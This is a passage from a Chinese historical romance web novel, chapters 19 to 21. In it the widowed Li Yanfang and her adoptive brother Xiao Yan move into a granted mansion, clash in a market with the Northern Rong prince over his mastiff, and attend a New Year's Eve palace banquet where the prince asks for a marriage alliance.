张静真早已在家中做绣活,听闻有人寻找,急忙放下手中绣棚前去开门。
她乍见门外气质高雅出尘的遮面女子,一眼便认出了她,只是就在认出的那一瞬间,她的心骤一紧,小心翼翼地问:“贵人怎么来了?是不是婆婆有什么消息了?”
李艳芳一行人很快进入小院中,照清眼疾手快关上院门。李宴方摘掉幂篱,沉声开口:“去屋内,我和你说。”
张静真行动带着些迟缓,她心中升起不详预感,隐隐约约猜测此为大事。
屋内,李宴方沉痛道:“何婆婆已经去世了。”
张静真心道果然,泪花便不自觉落下,她掏出袖中帕子,擦拭泪痕,悲伤开口。
“夫人勿怪失礼,我是婆婆养大的,她于我如亲生母亲,得知死讯,我实在是痛难自禁……只是她老人家如今在何处,我这个做女儿的总要送送她,替她引引路!”
李宴方苦叹:“我如何不知何婆婆心地善良,将邻里中的幼儿皆视如己出,更是广结善缘收养孤女,你情之所至,孝心感动上苍,无人敢怪你。”
她停顿,强压下悲痛:“只是我来正欲告诉你,婆婆为人所害,但此事涉及广大,所以在接回婆婆之后不可大张旗鼓治丧,还请你与其他梳头娘子见谅。”
“敢问贵人究竟何事?”张静真双目通红,想到婆婆是惨遭毒手,她愤懑渐生。
“当日究竟发生了什么已无从得知,只能大概猜出四和春楼中有人欲行不轨之事,叫婆婆撞见,那些人便杀人灭口。如今四和春楼内暗流涌动,你们梳头娘子切记能避则避。”
李宴方深知外敌与内鬼皆是心狠手辣之人,万不能再叫无辜之人牵扯其中,她绝不能将真相告知张静真。
谁知,张静真竟一把跪下,对着她磕道:“若日后贵人有可用我之处,静真赴汤蹈火,在所不辞!”
“张娘子快快请起,”李宴方连忙扶住她,劝慰道,“我已非鄂国公府世子夫人,你无需如此,何婆婆亦是我的亲人,我也痛不欲生,只是那件事只怕牵连甚广,关系重大,不可轻易插手啊。”
张静真心一急,不知如何反驳,只是哭道:“我是大活人,我有良心,我知道不能让待我如母的婆婆白死啊!若是还能叫恶人伏法,也是叫人快意的大好事,是大功一件,我如何能假装看不见,当作不知道!”
“夫人,你知晓的,我们做卖婆做梳头娘子的,最是消息灵通,那些平常人进不得的后宅,我们也能探出消息,我很有用的,求你……”
李宴方仰头,将莹莹泪光生生逼了回去,她小看了许多人,她只是以为让她们安全无忧便足够,却没想过她们一个个都外柔内刚,不惧艰险。
就像她拦不住何梦华要报仇要报国一样,拦不住张静真要替何梦华讨回公道,伸张正义。
“好,我答应你,但你现在一定不能轻举妄动,我若有需要会让照清传讯于你。平白无故搭进去,丧了命,反而无法为婆婆报仇,绝不可以意气用事。”李宴方一而再再而三地交代。
张静真抹着眼泪点点头。
李宴方稍安心:“那我先回去了,你日子照旧过,假装什么事也没发生。”
她安抚好张静真,心情复杂地离开。
打马回程,她路过旧宅,已经被萧凭陵打理过的旧宅与多年前一样充满烟火气,她因此想起爹娘。
在她开蒙学字时,最先学会的是自己的名字。
宴,海宴河清的宴;方,八方靖宁的方。
娘选的“宴”,爹挑的“方”,天下八方,长乐安宁,是父母对太平盛世的憧憬,亦是对女儿前途坦荡、得享安乐的寄望。
今时今日,李宴方开始渴望这个宏大、高尚、遥远的愿景得以落实。
若是太平年间,没有国仇家恨,就没有老妇慷慨赴死;若是长宁盛世,也就不会有后人的前赴后继,不惜以身犯险,求一个渺茫的公道。
怅然一声轻叹,头戴幂篱的女子挥鞭走过。
*
远郊的军营内,萧偃换上甲胄检视近日来飞捷新兵的操练成果,太后下密旨令萧偃扩军,眼前的两百人就是新征的兵卒。
他提出的征兵条件极为严苛,能选到两百人已是极其不易,更有一点,他有意控制飞捷军人数,这支大军不知何日开拔,未开拔前会一直扎营于洛都城外,对皇城形成威胁。
兵卒舞枪弄棒的洪亮呼和声,被他甩在身后,逐渐小去,人已到军帐中,慕容修正在忙碌,无论是两千旧人马的补给、训练,还是两千新兵的编队都叫他忙得脚不沾地。
萧偃脱下兜鍪,打趣道:“我瞧你挺适合这里的,到时也不必住城里。”
慕容修停下手中事:“像我这么忧国忧民的人,闲不下来。”
“军师高义,”萧偃揶揄他,“你倒不如想想太后究竟安的什么心,若是叫她知道我们忙活大半个月才征上两百人,无法交代。”
慕容修一瞥帐外,拽他过来,悄声道:“你有想法吗?”说完,他头一抬,暗示皇城所在方向。
“不曾有,若真的有,就算两千人能踏入皇城,歼灭禁军,我在朝中无根基,又如何坐得稳那椅子?不过是替他人做嫁衣裳。”
慕容修眉毛一挑,征兵之事萧偃早有打算,征兵条件严苛不负飞捷盛名,既给太后交代,又不显得他太过嚣张,按道理他不会再来讨论,真正的话题是最后一句,他忙问:“有新发现?”
“不算有,”他想起何婆婆,略带消沉,“只不过我把一半玉珏给了我阿姊,亲卫调动亦听她之命。”
慕
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容修震惊到结巴:“你的兵符没给出去吧?”
震惊于萧偃对李宴方的信任,和他行动的迅速,两人关系居然到了这等地步!
兵符自然不能随意交出,萧偃白眼相看:“你在想什么?我给亲卫不过是以防万一,我要是身陷险境有性命之忧,在这洛都里愿意尽心尽力救我,并且有能力的救我的只有她一个,真到了那时候你便与她参谋。”
原来是替自己留后路,慕容修以为他感情用事,却也听出情势危急的警告,他一介边将,加之现今风头过甚,处境确实危险。
慕容修点头称是,突然不着调起来:“你放心好了,我在投奔你之前为自己算过一卦,逢凶化吉,想必不是什么‘东家死去我逃出’的预示,你也一定安享晚年。”
萧偃无话可说,这人靠谱的时候挺靠谱,不靠谱的时候就是一疯疯癫癫的江湖骗子,按慕容修自己的话说就是——“我们奇才总是会有点与众不同之处”。
“诶,对了,你的调用信物不是一对玉珏吗?只给令姊一半?”慕容修靠过来,突有所悟,“你该不会是把它当定情信物送吧?”
靠坐在主位上的萧偃不置可否。
“你和她说没?万一以后她发现你欺瞒了她,定然不快。你何必给自己留个隐患?”狗头军师分析起感情变化一样头头是道,“尤其是在坎坷的感情中,一点稍稍不如意就会勾起堆积的陈年旧账,届时只会一发不可收拾,你这样得不偿失啊!”
“你知道为何会有‘饮鸩止渴’一说吗?”
萧偃四两拨千斤,大方地承认欺瞒,藏在心底的隐秘甜蜜也在此刻有了入骨的滋味。
慕容修气急败坏:“真是懂不了一点你们谈情说爱的。”
“那你这辈子最好别谈。”
慕容修严肃道:“我本就不打算!生有涯而学无涯,我精力有限,给不了姑娘全心全意的爱,便不去祸害人家。”
萧偃哂笑:“但愿你能初心不改。”
萧偃笑的,是他自己。
就连自负有极强自控能力的萧偃都无法抵抗梦中的侵蚀,他不得不接受自己的失控,不得不承认“问世间,情为何物?(注1)”带来的无尽惆怅。
有时,他甚至觉得能像慕容修一样不沾红尘反而是好事,可下一瞬,陪伴在阿姊身侧的若不是自己,那他会有多么痛苦,多么煎熬,甚至是心生愤恨。
他担心有朝一日,那头被他封印于深渊的恶兽会挣脱锁链,越狱出逃,他就像那日在佛寺中一样,要杀陆韫之,要杀很多个陆韫之。
他靠着座椅,忧郁沉重地闭上双眼,困意袭来,他渐渐睡去,在彻底进入梦乡之前,他在想的是:待得了空闲,需去集市上给阿姊挑一匹好马。
注1出自元好问的《摸鱼儿·雁丘词》。
另外解释一下女主的名字用“宴”而不是“晏”的问题,这两个字都有安闲、安定、安宁的意思,在某些情况下“晏”通“宴”,古籍中有混用的情况,也出现过“海宴河清”的写法,但现代汉语多用“海晏河清”。
文里选择“宴”有一层原因,能设置一个小磕点,这一点会在后文中体现。
19. 宅邸
承天太后赏赐给舞阳侯的府邸在德化坊内,德化坊位于洛都主干道天街东侧,临近皇城,是天潢贵胄、名门世家聚居之地。
舞阳侯宅邸为前朝亲王废弃多年的旧宅重新改建,占地辽阔,布局严明,前院会客议事,后院安居游憩,更为贴合主人身份,在西侧修建小型校场,用于演武射箭。
李宴方与萧偃并肩步行于其间,将一切尽收眼底,坦白说李宴方这些年来见识过不少豪宅,这一处宅院亦不算落入下风。
二人悠悠转过一圈,再回到后院主屋,萧偃很大方地开口:“阿姊住主屋吧,我住西院。”
李宴方自主屋轻瞥西院,主屋地势较高,东西两院呈众星拱月之势,她摇摇头:“这是赏赐给你的宅邸,不是我的,若是传出去说我鸠占鹊巢,于你于我都没半分好处。”
“可阿姊是长辈,你不住主屋,我住不安心。”他如同耍赖一般。
她慢行于主屋朱檐之下,只是在这里漫步就能清晰瞧见西院中的动静,一瞬间她就能猜透萧凭陵的打算。
好让她时时瞧见他。
李宴方在弱冠之年的萧凭陵身上发现几分“孩子气”,有些无奈,有些好笑。
他是不是还未放弃?
“那这样吧,”她心里有了新决断,“就和从前一样,我住东院,你住西院,刚好两个院落不如主屋豪阔宽大,布置起来简单得多,更节约时间,年关将近,我们的时间并不充裕。”
霜打的萧茄子在一瞬间蔫巴下去,不过为了逃避李宴方探究和鄙夷的眼神,他立刻变脸,喜笑颜开:“还是阿姊考虑得周到。”
李宴方既然决定入住,就好好做起打算:“就这么定下吧,吩咐人把宅邸里缺的紧要东西统计出来,再统一采买订制,要尽快,免得商铺匠人都过年回乡去了。”
反正她们二人都不是什么穷奢极侈的享受派,甚至前些年过惯了苦日子,眼下只需要把必备的东西准备好,余下的只能待来年再慢慢补齐。
萧偃笑眯眯瞅着她:“阿姊你若是不回来,我还真不知道怎么办才好,我原本都打算在军营里和将士们一同过年。阿姊既然住家里,以后家中诸事只怕要麻烦阿姊了。”
李宴方颔首:“本就是家人,何必说麻烦不麻烦。”
她越是强调她们义姐弟应有的亲情,萧偃越来越与她背道而驰,转头奔向他期待的前路,正如此刻,他将这个家交给她时,是以另一种男女关系作为出发点。
他简直就是小人得志。
但他念及此,心底的隐秘快意好似千里黄沙中偶然挖出的一眼泉,奔涌而出,解救命之危。
*
腊月是李宴方与萧偃极其忙碌的月份,乔迁新居、备至年货已经让日子变得充实,而承天太后的一道圣旨更是让她们在繁忙之中变得战战兢兢。
其实,严格来说“一道”并不准确,而是“许多道”,这是太后在年前对有功之臣极其家眷的加封,在受封赏的二十多人之中就有李宴方。
因萧偃生父母与养父母皆已逝世,他的在世亲属只有李宴方这个义姊,故太后与小皇帝特旨推恩,破格封赏,将李宴方封为高陵乡君。
太后与小皇帝对舞阳侯的恩典已是无以复加,李宴方与萧偃在圣旨传至宅邸之后,便立刻进宫叩谢恩典,三跪九叩,言皇恩浩荡,下臣鞠躬尽瘁,万死不辞。
在归来的车驾上,李宴方与萧偃二人正在商谈。
李宴方坦然谈起旧事:“当年我嫁给陆韫之,太后便赏赐诸多贺礼,想必是看在鄂国公府的份上,如今我又沾了你的光,得了乡君这等宗室女才能有的封号。”
萧偃一听到与陆韫之相关的事情,他就怏怏不乐:“阿姊怎么妄自菲薄?万一太后看重你也未必没有可能,我朝尚无将乡君封号赐予臣僚姊妹的先例,却独独出在了你身上。”
他眼见李宴方要反驳,急不可耐接道:“你若说太后与皇帝要拉拢我,给兵符、封侯爵、赐豪宅还不够?”
他从不觉得以李宴方的心性才能,只能靠“沾光”。尽管此事最初亦令他震惊意外,但他心里,认定他的阿姊能配得上“乡君”的尊位。
李宴方疑窦丛生:“可是我与太后并无交集,从前入宫不过是与众多贵人一同叩拜她而已,唯一听过她夸赞的就是说我在书画上颇有见地,兴许这一句还是场面话。”
萧偃凝眉思量:“这一番加封极可能是为提振朝野信心,共同抵御外敌,北戎小王子那木拓以及他所携带来表达两国交好之意的牛羊骏马之物已过黄河,即将抵达洛都。”
原来是政治考量,这倒让李宴方理解太后的做法,按下不提,另提他事:“北戎王子一至,恰逢年关,朝中定然繁忙,我本想按照旧俗,大年初一再去祭拜爹娘,现在看来不一定能抽得出空,我们寻个日子提前去吧。”
“择日不如撞日,今天?受封之后祭拜父母,也无可指摘。”萧偃建议道。
“也好,改道去城郊墓园,路过集市时买些香火纸钱供奉。”
萧偃喉头涌上一句注定叫李宴方勃然大怒的话来:就算她们分道扬镳,在祭祀父母时不也还要拜同一个坟?
李宴方与萧偃之间的缘分,早就被岁月刻在骨头里,长在身体里,无论如何都无法将其摧毁磨灭。
他三年未归,这一次他要向父母请罪,更要为来日必行的“大逆不道”之事,请求二老的原谅。
*
李宴方既被封了乡君,除夕与正月内皇宫中召开的宴席她便无理由拒绝。她虽是孀寡之身,但赴大宴不可马虎,反而要精心挑选符合身份与心境的华服贵饰。
她果断动用陆朴在她离开鄂国公府后赠送的一系列财物,陆朴暗派杀手已是悄然撕破脸皮,更是绝不会再做将财物收回这等叫人笑掉大牙的跌份儿事情,那么这财物既然记到她名下,不用白不用。
腊月二十六这一日,李宴方与照清前往洛都内最负盛名的珠宝店玉辉堂,取回定制的三套头面。
除夕在即,三套头面但凡有不和她心意之处,需要再费工期做修改,时间紧凑,所以她一得到消息就立刻策马前往,要改也能尽快。
萧偃给她挑的骏马自是极好,她这些日子在小校场中与马儿熟悉,再上马已是得心应手。照清沾了她的光,学会骑马陪同她一道出门。
二人头戴幂篱,策马过市,紫电与另一名亲卫紧随其后。
玉辉堂位于洛都城中东市区,东市人头攒动,熙熙攘攘,热闹非凡。
李宴方放缓马步,避开道上往来车马,小心翼翼地往玉辉堂去。
车磷马萧声,叫卖闲谈声,声声入耳,然几声洪亮威武的犬吠声夹在其间,异常凶悍。
李宴方还未来得及寻觅噪声方向,便见一只黄犬向她窜来,似是慌不择路,冲上大道,而
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在小黄犬身后一声低沉骇人的凶叫响起,转眼间便见一直高大的纯黑獒犬跃然而出,紧追小黄犬不放。
两犬追逐,惹起一阵骚动,黑毛獒犬凶恶非常,行人见状火速避让,不曾想那獒犬借势腾空跃起朝小黄犬扑去。
惊变只在一瞬间爆发,李宴方的坐骑本欲回避,却不慎踏在獒犬必经之路上,骏马受惊,长声嘶叫,前蹄高高扬起。
李宴方强作镇定,十指紧握缰绳,两臂稳拽勒马,双腿夹紧马腹,身上重心压低,避免跌落。
身后是照清与紫电的惊呼,李宴方在徒升和骤跌中起伏,胸腔里那颗心几乎都无法安抚住,要从喉咙里跳出来。
骏马四蹄落地的一瞬间,她如梦方醒,进而安抚坐骑,尚不曾察觉头上幂篱已落,照清与紫电即可策马而来,围在她身侧,谨防不测。
有人的目光挺住在她真容上,是闲来无事在洛都遍览风土人情的北戎王子那木拓。
北地狂风吹凿出的那一双深目凝光不动,女子骑马的身姿颇为潇洒飒然,待见她骏马失蹄,乱中犹显震惊,那木拓才后知后觉此人不可貌相。
而她幂篱一落,他竟有一瞬失神,那木拓自负见过草原上热烈的格桑花,也见过中原大地高贵雍容的牡丹,却出乎意料地被淡渺疏离的冷月折服。
他如鹰般的双目锁定李宴方,口中呼喝北戎语,将那头嚣张的獒犬唤回。
那木拓催马而上,摆出中原礼仪,恭敬而满带歉意地道:“小王那木拓,座下小犬顽劣,惊扰贵驾,烦请尊驾告知芳名,容小王登门赔礼道歉。”
李宴方略有震惊,前些日子北戎王子入城,她尚未获封乡君,无需出席观礼,想不到竟然在这儿碰上。
她目光微冷,那獒犬在他呼唤之后立即归回,说明那木拓能控制獒犬,他先前迟迟不出声,必是存着小黄犬被獒犬咬死致伤也无妨的心思。
只是这是在洛都最热闹的东市,纵容恶犬行凶便是不把来往行人的安危放在眼里,不把我朝百姓的安危放在眼里。
她心念一转,和善的浅笑浮于脸颊:“久闻王子英勇,传说王子统帅草原别部兵马,沙场之上最讲究令行禁止,我当以为王子见此犬闹市玩乐,追击幼犬,会下令扑杀,以正王子治下之名。”
他温和的笑意瞬间冻结至冰点,给她一点礼遇,她就以为能随意处置本王的猎犬了,这样的女人要是娶回家去还得了?
好一个心狠手辣,不识好歹的女人!
他正要给眼前的女人教训,告诉她打狗也要看主人。
忽见一匹骏马从容不迫地朝这里走来,马上之人金冠锦衣,身披貂裘,俊朗威严,正是前几日在入城典礼上照过面的舞阳侯萧偃,他要取其性命的萧偃。
那木拓心情急转直下。
萧偃在不远处已将发生一切收入眼底,他的阿姊险些遇险,叫他如何能袖手旁观?
他策马而至,照清与紫电自觉后退,他与李宴方并肩而立,对她温声道:“阿姊说得是,这样的恶犬该当下令扑杀。”
那木拓将他吐出的每一个字都听入耳中,脸上的表情不由得精彩万分:原来,此女竟是萧偃的义姊——李宴方。
他鹰目一眯,看来陆朴说得没错,李宴方果然是一条歹毒狠辣的蛇,有意思。
萧偃的目光回击而去,冷锐锋利,带着护主的狠意。
争端一触即发。
20. 恶狗
街市上川流如织的行人商客早已停下来,远远旁观这一场意外。
听闻北戎人常以金雕、獒犬协助狩猎,萧偃低头瞥见獒犬黑发浓密,其上光泽流动,便知那是那木拓的爱犬,若是此恶犬血溅长街,他定会颜面尽失、暗自心痛。
他悠然道:“按我朝律令《大晟律》规定,恶狗伤人详分两类,主人故意纵犬伤人、主人过失致使恶犬伤人,不知王子是前者还是后者?还是王子自认为身份尊贵,大晟律法管束不得,才在这东市里弄出些风浪来?”
此言一出,颇有讽刺那木拓前来洛都议和,却存心蔑视晟朝之意,若被坐实,于两国和谈不利。
加之,今日恶狗啸街乃百姓众目睽睽之下共同见证,并非舞阳侯恶意构陷,他出言反倒也为受到惊吓的百姓出了口恶气。
不少百姓点头支持,那木拓脸上难堪之意显现出来,他原以为獒犬去追击一只小黄犬能闹出多大事端?最差不过赔主人几十两银子罢了。
却没想到会撞上高陵乡君,而李宴方身后还有一只恶犬,要死咬不放,借题发挥。
獒犬命是小,他被萧偃胡乱扣上罪名是大,不由得愠怒直生。
只有李宴方眉头微皱,似是对萧偃言辞不满,她低声训斥道:“萧凭陵,你是何职何位,这事情也是你能管的么,也不怕有心之人参你一本越俎代庖?”
恶狗伤人,需报京兆府,由府尹责判。比起如日中天的舞阳侯来说,府尹品阶不高,但凡事要讲规矩,正如北戎王子进了这洛都城也得讲规矩。
她看似教训萧偃,实则是为萧偃开脱,顺便阴阳两句那木拓。
萧偃如何听不明白阿姊背后深意?于是低头认错。
那木拓先为李宴方看似为他解围而震惊,而更令他震惊的则是那一头比獒犬更为凶猛的恶兽竟然也有低头的一天,他尚不及回过味儿来,下一秒他就不得不接下李宴方挥出的招。
李宴方变脸极快,再看向那木拓时眼含笑意。
“听闻獒犬生性凶悍,难以驯服,我并非质疑王子的训犬御下之术,只是这疯狗不仅让王子丢尽颜面,还让你险些陷入官司,王子还是尽快处置了为好,也好让洛都百姓们瞧见王子是个明辨是非、可以信任的合作伙伴。”
那木拓可算看明白了,这姐弟二人一人唱红脸,一人唱白脸,先搬律法,再讲两国和谈,逼着他要这畜生的命。
周遭百姓往来,不多时,东市发生的一切就会传得到处都是,中原有句古话“小不忍则乱大谋,”这仇他暂且记下。
“多谢高陵乡君赐教。”
那木拓扬起俊脸,对李宴方留下一个灿烂且毫无芥蒂的笑容,像极了真心道谢,他又变回那个迷惑众人的爽朗豪放北戎王子。
不过,那如草原灿烂阳光般的笑颜瞬间变色,他转头命令身后高大健壮的仆从用马鞭勒死獒犬,眼中看不出半点怜惜,只剩下狠辣与果断。
那獒犬眨眼间就死于主人的命令下,仆从面带凶光,盯着周边的百姓,戏谑地将獒犬尸身一抛,落在大道上,百姓见状纷纷退走远离。
而李宴方与萧偃不动声色盯着那木拓一行人的动向,直到他们策马走出视线,两人对视一眼:这梁子算是结下了。
渐渐的,东市恢复热闹,往来行人默契地避开獒犬尸身。
萧偃撇过头问李宴方:“从军营回来后,我听家中人道阿姊出门取头面,我陪阿姊去取吧。”
“也好。”李宴方调转马头,前往玉辉堂。
玉辉堂客人如云,李宴方唤来在店门口待命的小童,交予凭据,径直前往内堂取物。萧偃老老实实跟在她身后,若不是他衣饰不凡,气宇轩昂,当真要被人认作李宴方的侍从。
但过于夺目并非好事,三五步的路程不长,却已足够让店中试金挑玉的顾客都将双眼从精美华贵的珍器上移开,停驻于他身上。
其中不乏出身高贵,沉鱼落雁的千金。
上官柔仪抬首打量,如葱削般的食指与拇指不自觉地摩挲着手中的掐丝金镯,她的好友范妙瑗将她这等痴神入迷的模样看在眼里,不由得低声“啧啧啧”揶揄她来。
她小声:“相爷的好孙女这回又看上谁了?”
上官柔仪对她翻了个白眼,将那金镯搁回绒布中:“什么叫‘又’?你不觉得此人有些眼熟吗?”
范妙瑗反驳:“相爷特意让你在家里花窗中相看进内宅来求见议事的上进年前郎君,你不是说有几个还勉勉强强么?”
“那不是勉勉强强吗?”上官柔仪嗫嚅,“没有一见钟情的感觉。”
“那这个有?”
“也不算是,只是觉得他有点面熟罢了。”
范妙瑗思量后摇头:“没印象,看穿着定是非富即贵之人,想见总有机会,过几日便是除夕宴,你就大海捞针吧。”
“找一人事小,难的是……”上官柔仪沉吟几许,“来玉辉堂的男子不算多,多的也是陪夫人前来,或是瞒着心上人来挑选礼物,若是名花有主那就有意思了。”
“他刚才好像就是陪人来的。”范妙瑗冷静地给好姐妹捅刀子。
就在二人窃窃私语之时,那边小童已将萧偃领出来,满怀歉意道:“其中一套有一处稍不符合尊夫人心意,小店定然会加快修改,来日再送到贵府,还请郎君见谅。”
这小童竟将萧偃认作李宴方的丈夫,不可宣之于口的快意漫过他心间,但大庭广众之下叫人这般误会,阿姊必定不悦,他抱着两方装置头面的锦盒,含笑否认:“她是我阿姊。”
他说不出“她不是我夫人”这句话,要说也只能狼子野心地说一句“她现在还不是我夫人”。
不合时宜,不如不说。
那小童不过十岁,这身量、样貌、气韵处处相配的竟然不是一对璧人,小童结舌,不知如何揭过,但幸好这位郎君并没有追究的样子,只得道一声:“请贵客饶恕。”
萧偃心情极好,对小童说了句不妨事,待这插曲一过,李宴方已从内堂走出,她本欲接过锦盒,萧偃不从,她也不强求,道一句“回去吧”,两人便一前一后走出玉辉堂。
躲在玉树金尊一旁观察的范妙
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瑗与上官柔仪二人这下也没了继续挑饰品的心思,上官柔仪喜形于色:“那是他姐姐!”
范妙瑗道:“你光顾着他了,而我在看他姐姐,你猜他姐姐是谁?”
那名女子只对上官柔仪留下一个匆忙的背影,她不曾认出,摇头。
“高陵乡君,先前的鄂国公府世子夫人。”
上官柔仪震惊不已:“那她弟弟不就是——”
怪不得会觉得有些面熟呢,原来是献捷那日远远望见,惊鸿一瞥不知叫多少人柔肠寸断。
两人出门唤来仆从登上马车,车中,上官柔仪心中有了计较,他如此爱重他阿姊,不如从他阿姊那里下手好了。
除夕夜宴,可以尝试一下自己的计划,上官柔仪轻抚手中的暖炉。
*
待除夕之日,因夜晚要赴麟德殿之宴,萧偃一大清早就打马去了军营,给营中将士送酒,军中本禁酒,但今日乃节庆,便上下同欢一回。
李宴方则给府中的仆从发压岁,这些府卫与仆从多是萧偃的亲卫,只有少量厨娘、园匠等人是后招入府,她一视同仁地发了。还有旧相识梳头娘子们,她早一日遣照清替她去照应。
待至下午,李宴方便开始梳洗盛妆,她选中的是一身青山熔金配色的华服,青绿苍翠,落日金煌,既大方素雅,又不显局促鄙陋,她到底才丧夫两三个月,赴宴时还穿不得大红大紫之色。
照清为她梳起翻刀髻,拿出新打的翡翠镶金头面,簪金翠,饰明珰,贴花钿。
待忙碌完毕,也临近赴宴时分,照清叉着腰感叹道:“乡君好久没这么弄上大全套了,看惯素雅的模样,这般明艳动人还真让人眼前一亮,不知这一场宴会上,你要夺去谁的目光?”
“若不是怕人说我不识礼数,我还打算继续穿淡蓝淡青跟新寡时一样,”李宴方说了句真心话,“其实当寡妇也不错。”
“乡君正值韶华之年,真不打算再嫁么?”
照清问,过去三年,她眼中所见的李宴方与陆韫之琴瑟和谐,难道是乡君还未走出丧夫之痛?不愿再觅良人?
李宴方淡淡道:“暂时没打算,以后再说吧。”
照清却以为她情伤,安慰道:“如今萧侯能伴着乡君,也好。”
李宴方一叹,正是因为萧凭陵啊,只是她藏得太好,未曾叫照清发现端倪,若是日后她不慎知晓,她又该如何看待自己?看待萧凭陵?
“走吧。”她瞧时辰差不多,对照清道。
待至大门,李宴方才发现萧偃早已归府,他也梳洗完毕,头戴金玉冠,身着织金祥云纹的绯袍,腰间正是太后赏赐的金銙蹀躞带,整个人神采飞扬,气度华贵。
收敛杀气,只余贵气,他也有几分洛都贵公子的模样,他抬头望向他的阿姊。
这是萧偃第一次见妆容繁盛的李宴方,脑海里蓦地就跳出一句话来——淡妆浓抹总相宜(注1)。
他几乎是忘记要收回目光,而李宴方似是不觉,踏着马杌上了马车。
注1出自苏轼《饮湖上初晴后雨二首·其二》。
21. 议和
入夜,麟德殿中,翠幕珠帏敞月营,金罍玉斝泛兰英(注1)。明灯千重,异香如浪,琴瑟琵琶,奏升平礼乐;踏歌舞袖,庆人间同欢。
礼官内侍引导高陵乡君与舞阳侯入座。
殿内官员座次依官阶排序,坐西朝东,而命妇家眷座次依品阶,坐东朝西。
大晟开国后,沿用前朝宴乐礼制,席间男女不杂坐,女眷独设宴于偏殿,自高宗登基,与冯后二圣临朝共决国事,大宴礼制稍改,同殿而坐,帝王尊者面南,男客面东,女客面西,士族家宴遵循此道,友人集会、民间小宴可杂坐。
李宴方落座,萧偃在她斜上首,她睇眄之时,他也正在望她,中间虽相隔甚远,但两侧宾客仍然可以色授魂与,她哂道,太后主政后更改旧制,打破男外女内的格局,应该没想到会有人在此期间打小动作。
她掩袖饮啜一小口清茶,不去理会,转头与身边的贵人寒暄。她微微昂首,见旁座贵客姗姗来迟。
是李宴方有过几面之缘的上官柔仪。
十八九岁的女子正带容光焕发、朝气俏丽之风采,上官柔仪头梳望仙髻,珠玉作缀;身披翠蓝衣,流云为纹,恍如瑶池弱水,风姿袅袅。
上官柔仪虽无命妇品级在身,但她祖父为宰相,深得太后重用,她在受邀之列,亦不见怪。
她对李宴方行过叉手礼:“见过高陵乡君。”
李宴方颔首回礼。
那厢上官柔仪已落座,兴致勃勃地招呼道:“这礼部的座次排得未免太妙,我身旁坐了位仙姿佚貌的乡君,乡君沉巍如山,我便是那伴流之水,巧极,妙哉!”
并非巧合,那日后,上官柔仪绞尽脑汁设法与李宴方结交,还专程到玉辉堂里询问李宴方定制什么样式的头面,进而推断出她的赴宴衣着,她不能撞其颜色,夺其神采,还要“无巧不成书”的借此与她闲谈搭话。
李宴方心思灵活,当然听得懂这是上官柔仪在以二人衣饰打趣称赞,她客气道:“千江碧水云中来,浩浩荡荡,自成一派。”
上官柔仪赞叹:“多谢乡君夸奖,乡君才思敏捷,出口成章,夸我夸得那样好,祖父时常数落我脸皮厚,可现下乡君可要帮我瞧瞧,不知道这张厚脸皮红了没有?”
年轻女儿在说俏皮话之时,憨态可掬,明艳动人,李宴方含笑摇头。
开宴前,上官柔仪拉着她絮语,李宴方明白,舞阳侯义姊的身份可比鄂国公府世子夫人更能派上用场,恰好她也存着与宰相交好的心思,便将计就计,闲话家常。
未几,殿中内侍高唱,雅乐奏响,持五明扇的宫人鱼贯而入,太后携少帝入座,文武百官、命妇尊客、番邦使节均起身行大礼,高祝万岁。
太后坐定于王座,高声赐座,众人齐声谢恩,各自入座。
太后代少帝言:“除夕之后,正旦为始,此为辞旧迎新之佳辰。去岁政通人和,仓廪盈实,刑典严明,光复旧土,有赖众卿夙夜在公,愿众卿来日恪尽职守,毋怠毋荒,特赐御酒,君臣同乐。”
宫人奉酒,群臣饮尽。
太后放下金杯,朝座上的北戎王子那木拓看去:“王子躬亲议和,北境烽火暂息,此乃我朝与贵国难修之好,百姓难得之幸。贵国若以诚待之,以万众黎民为念,朕与皇帝必不相负。”
她举起金杯,遥遥致意。
身着北戎服饰的那木拓更显异域英姿,仪表非凡,他被太后点中,从容起身,举杯回敬。
“小王代父前来,深怀两国结交之诚心。然纸上条约,终不如两姓联姻,血脉相融,合为一家,贵国如降天女,得修秦晋之好,我朝愿以宝马黄金为聘,永止兵戈。”
他朗声长谈,声如苍穹鹰唳,亦如草原狼啸,声声随风,传至殿中各处。
李宴方最先听到座旁传来一声金杯轻叩的脆响,原是上官柔仪失态,金杯击桌,她臻首微垂,眼睫轻颤,目光锁定桌前,不再抬头。
那木拓王子的和亲请求若是得到太后应允,朝中必有女子要前往北戎,太后膝下只有一位不到十岁的公主,不会在和亲之列,那么可能被选中的便是宗室女与世家贵女,届时再册封为公主,照样红妆十里。
上官柔仪出身高贵,并非没有被选中的可能,她满心担忧,慌张不已。
李宴方如今被封乡君,算宗室女,自己也在候选名单中么?她的乡君封得那样轻易,难道是太后未雨绸缪?
她目光悄然一转,偷偷窥向殿中龙座,太后容色如常,似早料到那木拓会有和亲请求,她饶有兴味地打量那木拓,仿佛考量他的诚意够不够。
就这一瞬间的眼神窥探,李宴方定了心,太后绝不会在此刻答应那木拓,事情尚有转圜之地。
她收回探视的眼神,却察觉两道灼热目光袭来,一道来自那木拓,有欣赏,有一丁点儿爱慕,还有稍纵即逝的恶作剧将完成的戏弄。
她心道,和亲之举,难道只是因为那木拓要给那条獒犬报仇,所以要把她捆去苦寒之地?这未免太小题大做。
另一道来自萧偃,他眼中蓄着轻蔑与不屑,以及安抚,示意她不要慌张。
李宴方举杯抬袖假意轻啜御酒,回以萧偃一个“无碍”的眼神,而后将金杯轻放,上官柔仪循声望去,见她镇定自若,毫无波澜,有如置身事外,被李宴方稍稍感染,按下起伏心绪。
宴中诸人各怀心思,皆藏在这沉默不语与眼眉来回之间。
岿如泰山,安坐主位的太后悠悠开口:“两国议亲,兹事体大,今晚之宴乃家宴,不深谈国事,王子所求容后再议于朝臣。”
那木拓并无被婉拒的不悦,反而笑含春风,他早知这一请求不会被太后轻易准允,这是和谈磋商之中常见的你来我往,需要些时日。
今日太后没有严词拒绝便说明有洽谈余地。
转眼间他已是豪爽大度、开朗恣意的模样,对着太后行了一北戎礼节:“太后思虑周全,小王静候佳音。此番小王前来,恰逢贵国佳节,特奉上一曲北戎歌舞,欢庆佳节,以娱众宾。”
虽受拒意,但那木拓不仅没有怨言,还以歌舞明着表达入乡随俗、接受中原文化的善意,显得他求亲之心、求和之意格外的诚。
太后颔首:“素闻北地歌舞豪迈,如此,王子便让朕与众臣领略
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一番吧。”
殿中轻歌曼舞霎时间退入席后,丝竹管弦在同一瞬哑音,取而代之的是洪亮的呼号。
数声呼喝长短不一,声调跌宕,充满原始蒙昧的生机,把场中人引入辽阔无际的平原。
